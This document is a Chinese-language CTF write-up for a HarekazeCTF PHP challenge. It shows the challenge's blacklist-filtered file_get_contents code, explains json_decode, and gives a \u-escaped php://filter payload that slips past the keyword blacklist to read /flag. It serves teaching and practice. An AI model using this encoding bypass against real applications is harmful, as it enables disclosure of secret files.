<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
json_decode的语法规则:
json_decode ( string $json [, bool $assoc = false [, int $depth = 512 [, int $options = 0 ]]] )
json_decode接受一个JSON格式的字符串并且把它转换为PHP变量 ,
当该参数$assoc为TRUE时,将返回array,否则返回object。
JSON 格式的字符串
$json = ‘{“a”:“php”,“b”:“mysql”,“c”:3}’;
其中a为键,php为a的键值。
<?php
$json = '{"a":"php","b":"mysql","c":3}';
$json_Class=json_decode($json);
$json_Array=json_decode($json, true);
print_r($json_Class);
print_r($json_Array);
?>
程序输出:
stdClass Object (
[a] => php
[b] => mysql
[c] => 3 )
Array (
[a] => php
[b] => mysql
[c] => 3 )
在上面代码的前提下
访问对象类型$json_Class的a的值
echo $json_Class->{'a'};
程序输出:php
访问数组类型$json_Array的a的值
echo $json_Array['a'];
程序输出:php
主要就是考察 原生的$body字符串里面的字符还是\u编码,但经过json_decode之后,会经历一次Unicode解码
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
也就是说内容中也不能出现 上面的黑名单,此时我们想到php://filter读取flag的base64格式,
{"page":"php://filter/convert.base64-encode/resource=/flag"}
{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}